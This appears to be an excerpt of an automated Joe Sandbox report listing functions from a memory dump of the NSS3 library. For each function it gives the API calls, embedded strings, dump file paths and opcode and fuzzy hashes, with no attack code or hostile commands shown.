DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CF77AFE,?,?,?,?,?,?,?,?,6CF7798A), ref: 6CF7BDC3
free.MOZGLUE(?,?,6CF77AFE,?,?,?,?,?,?,?,?,6CF7798A), ref: 6CF7BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF77AFE,?,?,?,?,?,?,?,?,6CF7798A), ref: 6CF7BDE9
free.MOZGLUE(?,00000000,00000000,?,6CF77AFE,?,?,?,?,?,?,?,?,6CF7798A), ref: 6CF7BE21
free.MOZGLUE(00000000,00000000,?,6CF77AFE,?,?,?,?,?,?,?,?,6CF7798A), ref: 6CF7BE32

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 38ab7b54a7071a9e5305860fdd8a30c8dca78c61c3c04e62e4b9c34960d31a19
Instruction ID: 0c5690e7ed07b456c20421656b2bd9cb222560dbf734828255ea23c3be412614
Opcode Fuzzy Hash: 38ab7b54a7071a9e5305860fdd8a30c8dca78c61c3c04e62e4b9c34960d31a19
Instruction Fuzzy Hash: 791125B2FA12008FDF90EF28D849B473BB8FB0B244B04142BD50AC7300E772A614CBA1

Function 6CF77C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CF77C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF77C83
malloc.MOZGLUE(00000001), ref: 6CF77C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF77C9F
PR_GetCurrentThread.NSS3 ref: 6CF77CAD

Part of subcall function 6CF29BF0: TlsGetValue.KERNEL32(?,?,?,6CF70A75), ref: 6CF29C07

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: d684e7781c7c6758d660249afd7464d5ec8693118a2a3b4b590f3d07f37a310d
Instruction ID: d551b725e4c83398a192d7d241eb21b38b77aec3e5d048d9f94c878e1950de02
Opcode Fuzzy Hash: d684e7781c7c6758d660249afd7464d5ec8693118a2a3b4b590f3d07f37a310d
Instruction Fuzzy Hash: 20F0C2B19202066FEB109F7AAC09D97776CEF04265B018437E819C7B00EB34E114CAE5

Function 6CF7ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CF7A6D8), ref: 6CF7AE0D
free.MOZGLUE(?), ref: 6CF7AE14
DeleteCriticalSection.KERNEL32(6CF7A6D8), ref: 6CF7AE36
free.MOZGLUE(?), ref: 6CF7AE3D
free.MOZGLUE(00000000,00000000,?,?,6CF7A6D8), ref: 6CF7AE47

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 54b4d2721fab38bd441320cf1c54e3133cee66718f0ba21832d012462271e0d3
Instruction ID: a3dc3877e48de59b4e4a18224a8c2d332c42797ad3cb3dacc0e3846b4fea16a1
Opcode Fuzzy Hash: 54b4d2721fab38bd441320cf1c54e3133cee66718f0ba21832d012462271e0d3
Instruction Fuzzy Hash: 65F0F6B5601A01A7CA109F69E848A5777BCBF867747104329F12A83940D731E011C7E9

Function 6CDF88D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,01DC7D83), ref: 6CDF8990

Strings

@zl, xrefs: 6CDF8A31

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: memset
String ID: @zl
API String ID: 2221118986-1485391460
Opcode ID: b3810c77a1014e6fa73ddb90b8a79da39213d2ac922920ab4ba4805fc6f88de9
Instruction ID: e2dc9b4750129525234d7fc59d38ca336acc959abc70b7ab0892a9ed359c4737
Opcode Fuzzy Hash: b3810c77a1014e6fa73ddb90b8a79da39213d2ac922920ab4ba4805fc6f88de9
Instruction Fuzzy Hash: 7851F671A05782DFC704CF65C4946A6BBF0BF59308B24929EC8984BB12D331F596CBE2

Function 6CE07C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE07D35

Strings

%s at line %d of [%.10s], xrefs: 6CE07D2E
database corruption, xrefs: 6CE07D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE07D13, 6CE07D1F, 6CE07D47, 6CE07D53, 6CE07D5F

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 51f140e1e06ca08c4ce629d56e8fed502fc21e82da70e8a3a8d2cb988943e67b
Instruction ID: e060ecf539fc5843569c7f9d2ebfcdf871126b0208872232384a1cbb7f70ad5a
Opcode Fuzzy Hash: 51f140e1e06ca08c4ce629d56e8fed502fc21e82da70e8a3a8d2cb988943e67b
Instruction Fuzzy Hash: 1731D471F0422997C710CF9EC880DBAB7F1AF4A309B694196E444B7B85D272EC62C7E4

Function 6CDF6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CDF6D36

Strings

%s at line %d of [%.10s], xrefs: 6CDF6D2F
database corruption, xrefs: 6CDF6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDF6D20

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 8eda5d2d24b8bbc5ad74acd752f0a8243b9fbd8661c0d1c3ebeffcb5ed467d37
Instruction ID: 5d02e46a0f123975e6ce31b3afe7d6fd9b919fd647da3866bb386005e1d8e2d9
Opcode Fuzzy Hash: 8eda5d2d24b8bbc5ad74acd752f0a8243b9fbd8661c0d1c3ebeffcb5ed467d37
Instruction Fuzzy Hash: F921E2716043059BC7108F1AD841B5AB7F2BF84308F15892DD8A99BF61E371E94787A1

Function 6CED2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+l,6CED32C2,<+l,00000000,00000000,?), ref: 6CED2FDA

Part of subcall function 6CEC14C0: TlsGetValue.KERNEL32 ref: 6CEC14E0
Part of subcall function 6CEC14C0: EnterCriticalSection.KERNEL32 ref: 6CEC14F5
Part of subcall function 6CEC14C0: PR_Unlock.NSS3 ref: 6CEC150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CED300B

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CED302A

Part of subcall function 6CEC0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC08B4

Part of subcall function 6CEAC3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6CEAC45D
Part of subcall function 6CEAC3D0: TlsGetValue.KERNEL32 ref: 6CEAC494
Part of subcall function 6CEAC3D0: EnterCriticalSection.KERNEL32(?), ref: 6CEAC4A9
Part of subcall function 6CEAC3D0: PR_Unlock.NSS3(?), ref: 6CEAC4F4

Strings

<+l, xrefs: 6CED2FD0

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+l
API String ID: 2538134263-555380133
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 10bbcf58f7f44dcd4ad0b6f8befe20b0b069d6e7093f89d897011d2f6a82df74
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 5F11E7B6B001046BDB008E64DC01A9B77F9AB8426CF398138E81CD7780E776ED16C7A2

Function 6CF2CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CF2CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF2CC7B), ref: 6CF2CD7A
Part of subcall function 6CF2CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF2CD8E
Part of subcall function 6CF2CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF2CDA5
Part of subcall function 6CF2CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF2CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CF2CCB5
memcpy.VCRUNTIME140(6CFC14F4,6CFC02AC,00000090), ref: 6CF2CCD3
memcpy.VCRUNTIME140(6CFC1588,6CFC02AC,00000090), ref: 6CF2CD2B

Part of subcall function 6CE49AC0: socket.WSOCK32(?,00000017,6CE499BE), ref: 6CE49AE6
Part of subcall function 6CE49AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CE499BE), ref: 6CE49AFC

Part of subcall function 6CE50590: closesocket.WSOCK32(6CE49A8F,?,?,6CE49A8F,00000000), ref: 6CE50597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CF2CCB0

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 9c637272c4fdfaeffa54eda4373d2f9f649027c5f742943cb3b36686727df818
Instruction ID: 53b1327ea4d39caffaf79e6e7bd65e76cbc7526f6c3e79e2b739c2e0ad01b914
Opcode Fuzzy Hash: 9c637272c4fdfaeffa54eda4373d2f9f649027c5f742943cb3b36686727df818
Instruction Fuzzy Hash: 24119AF1F102409FEB909F59ED0678337B8D346218F14982AE505CBB41E776C53887E2

Function 6CE91CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CE91CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CE91CF1

Part of subcall function 6CF709D0: PR_Now.NSS3 ref: 6CF70A22
Part of subcall function 6CF709D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF70A35
Part of subcall function 6CF709D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF70A66
Part of subcall function 6CF709D0: PR_GetCurrentThread.NSS3 ref: 6CF70A70
Part of subcall function 6CF709D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF70A9D
Part of subcall function 6CF709D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF70AC8
Part of subcall function 6CF709D0: PR_vsmprintf.NSS3(?,?), ref: 6CF70AE8
Part of subcall function 6CF709D0: EnterCriticalSection.KERNEL32(?), ref: 6CF70B19
Part of subcall function 6CF709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF70B48
Part of subcall function 6CF709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF70C76
Part of subcall function 6CF709D0: PR_LogFlush.NSS3 ref: 6CF70C7E

Strings

pInitArgs = 0x%p, xrefs: 6CE91CEC
C_Initialize, xrefs: 6CE91CD3

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 8d3c59bd243f32378eb56156cb017b1e542d39d7d34a558b3a113f4d05ef3f86
Instruction ID: c79c395fd67439cbebb5acf96d41874eba8ba79002a0e3d5be931796fc807bb6
Opcode Fuzzy Hash: 8d3c59bd243f32378eb56156cb017b1e542d39d7d34a558b3a113f4d05ef3f86
Instruction Fuzzy Hash: 2E01F574B100809FDF809B94D808B5B33B9EBC231EF154029E809C3721DB72DA8AC7A1

Function 6CDEA8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CF1A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CF3C3A2,?,?,00000000,00000000), ref: 6CF1A528
Part of subcall function 6CF1A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF1A6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDEA94F

Strings

%s at line %d of [%.10s], xrefs: 6CDEA948
database corruption, xrefs: 6CDEA943
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDEA939

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: d609322cc770094d13cfcaa545f5cf3f6f03e57e0187d2f5dc2ffc979cf48466
Instruction ID: aeb014ae493659281004766ae174c28696add9e808d8324825f4873da6a2f830
Opcode Fuzzy Hash: d609322cc770094d13cfcaa545f5cf3f6f03e57e0187d2f5dc2ffc979cf48466
Instruction Fuzzy Hash: 8D014E31F002059BD710CB66EC01F5BB7F59B48308F454439E94D57A40D731AD088791

Function 6CE78850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CE80715), ref: 6CE78859
PR_NewLock.NSS3 ref: 6CE78874

Part of subcall function 6CF298D0: calloc.MOZGLUE(00000001,00000084,6CE50936,00000001,?,6CE5102C), ref: 6CF298E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CE7888D

Strings

NSS, xrefs: 6CE78887

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 3d84992aedac929b1df2fa62164b72615c5607761d6df68ae6bfeab754d6b00c
Instruction ID: 610c8fc3d458d680f5eacf4d74f95fb32e89adf447fdc5d17ad0f2f550dd725d
Opcode Fuzzy Hash: 3d84992aedac929b1df2fa62164b72615c5607761d6df68ae6bfeab754d6b00c
Instruction Fuzzy Hash: ADF0F662E4122023F27012A86C0AB8774B89F6275DF644035E90CB3F82EB46D508C3F3

Function 6CF0A890 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,?,6CEF5F25,?,?,?,?,?,?,?,?,?,6CEFAAD4), ref: 6CF0A8A3

Part of subcall function 6CEAADC0: TlsGetValue.KERNEL32(?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE10
Part of subcall function 6CEAADC0: EnterCriticalSection.KERNEL32(?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE24
Part of subcall function 6CEAADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE8D079,00000000,00000001), ref: 6CEAAE5A
Part of subcall function 6CEAADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE6F
Part of subcall function 6CEAADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE7F
Part of subcall function 6CEAADC0: TlsGetValue.KERNEL32(?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAEB1
Part of subcall function 6CEAADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAEC9

PK11_FreeSymKey.NSS3(?,00000000,?,6CEF5F25,?,?,?,?,?,?,?,?,?,6CEFAAD4), ref: 6CF0A8BA
SECITEM_ZfreeItem_Util.NSS3(%_l,00000000,00000000,?,6CEF5F25,?,?,?,?,?,?,?,?,?,6CEFAAD4), ref: 6CF0A8CF

Strings

%_l, xrefs: 6CF0A894, 6CF0A8CE

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValue$Item_UnlockUtilZfreefreememset
String ID: %_l
API String ID: 2877228265-160528633
Opcode ID: 432a039600ff792849f5b83db2d34c4c57acdd6927b4c4398746675e39b2ffe0
Instruction ID: b88e0fafd8fb101d84cbf04f83556df778b8df15819f76bdb1838c6eef63ec42
Opcode Fuzzy Hash: 432a039600ff792849f5b83db2d34c4c57acdd6927b4c4398746675e39b2ffe0
Instruction Fuzzy Hash: 37F0E5B6F017149BEA109E65EC40B9373ECAB00A5DF548038DC1AABB01E335F8059BD1

Function 6CED1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CED1D8F

Part of subcall function 6CEC14C0: TlsGetValue.KERNEL32 ref: 6CEC14E0
Part of subcall function 6CEC14C0: EnterCriticalSection.KERNEL32 ref: 6CEC14F5
Part of subcall function 6CEC14C0: PR_Unlock.NSS3 ref: 6CEC150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CED1DA6

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CED1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CED1ED0

